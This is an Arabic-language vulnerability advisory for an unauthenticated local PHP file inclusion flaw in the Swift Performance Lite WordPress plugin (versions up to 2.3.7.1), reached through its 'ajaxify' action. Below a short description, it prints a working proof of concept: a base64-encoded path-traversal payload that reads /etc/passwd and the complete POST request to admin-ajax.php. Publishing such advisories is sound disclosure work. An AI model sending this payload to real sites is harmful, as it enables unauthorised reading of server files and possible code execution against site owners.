
Swift Performance Lite <= 2.3.7.1 - تضمين ملفات PHP محلي بدون مصادقة عبر 'ajaxify'
Swift Performance Lite <= 2.3.7.1 - تضمين ملفات PHP المحلية بدون مصادقة عبر 'ajaxify'
إن إضافة Swift Performance Lite في ووردبريس عرضة لتضمين ملفات PHP المحلية في جميع الإصدارات حتى 2.3.7.1 وما يشمل ذلك، عبر دالة 'ajaxify'. وهذا يتيح للمهاجمين بدون مصادقة تضمين وتنفيذ أي ملفات على الخادم، مما يسمح بتنفيذ أي كود PHP في تلك الملفات. ويمكن استخدام هذا لتجاوز ضوابط الوصول، أو الحصول على بيانات حساسة، أو تحقيق تنفيذ كود في الحالات التي يمكن فيها رفع وتضمين الصور وأنواع الملفات “الآمنة” الأخرى.
حمولة Base64 = ["template-part","null","../../../../../etc/passwd"]
POST /wp-admin/admin-ajax.php HTTP/2
Host: wp-dev.ddev.site
Content-Type: application/x-www-form-urlencoded
Content-Length: 202
action=swift_performance_ajaxify&data=WyJ0ZW1wbGF0ZS1wYXJ0IiwibnVsbCIsIi4uLy4uLy4uLy4uLy4uL2V0Yy9wYXNzd2QiXQ==